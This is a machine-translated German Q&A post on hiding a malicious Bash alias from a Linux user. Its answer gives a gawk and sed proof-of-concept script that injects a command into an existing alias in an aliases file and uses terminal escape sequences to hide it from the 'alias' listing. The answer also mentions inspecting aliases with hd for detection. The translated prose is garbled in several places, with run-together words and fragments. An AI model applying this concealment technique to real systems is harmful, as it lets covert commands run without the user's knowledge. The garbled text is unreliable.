Ist es möglich, die Existenz eines böswilligen Alias in Bash auf einem Linux-System zu verbergen und vom Benutzer ohne dessen Wissen ausführen zu lassen?
Ist es möglich, die Existenz eines böswilligen Alias in Bash auf einem Linux-System zu verbergen und vom Benutzer ohne dessen Wissen ausführen zu lassen?
Antworten:
Sie können dies tun, indem Sie den vorhandenen Alias an den böswilligen anhängen und ihn mit der Cursorbewegung ausblenden, wenn der aliasBefehl zum Anzeigen von Aliasdefinitionen verwendet wird. Es ist keine absolut narrensichere Methode, aber sie kann für eine Weile unentdeckt bleiben. Kochend aliasdurch hdwird Ihnen zeigen , ob es irgendwelche Escape - Sequenzen (Cursor - Bewegung) in Ihre Aliase sind. Hier ist ein Proof of Concept, wie ein böswilliger Befehl in einen Alias eingefügt werden kann:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sedBefehl ändert eine Datei mit dem Namen "Aliase" an Ort und Stelle - ein echtes Skript dieses Typs würde in den Rachen gehen und eine echte Skriptdatei so ändern, dass der böswillige Alias bei der nächsten Ausführung aktiviert wird.hideals Argument ausgeführt, sodass es denkbar ist, dass Sie einen Fehler erhalten, der dem in dieser Frage angegebenen ähnelt . Es könnte möglich sein, die ursprünglichen und böswilligen Teile umzukehren, um dies zu beeinflussen, obwohl dies die Argumente beeinträchtigen würde, die dem Alias zur Verfügung gestellt werden. Im obigen Skript wird versucht, das Ende von Argumenten mit zu markieren --.&&, könnten Sie Rohr einem zum nächsten und machen das schädliche Skript (dargestellt oben durch den einfachen echoBefehl) Funktion als ein Pass-Through entweder die Daten zu ändern , wie es über oder geht zu verstecken ihre Existenz weiter, indem sie andere Umleitungen nicht störenstdinstdouthideZeichenfolge kann so geändert werden, dass sie unterschiedliche Cursorbewegungen und den Text des ursprünglichen Alias enthält, sodass der aliasBefehl den unveränderten Alias anzeigt, anstatt ihn zusammen mit dem böswilligen Teil auszublenden.. aliases. Anschließend können Sie versuchen, den betroffenen Alias zu verwenden und zu sehen, wie er dabei aussieht alias|hd.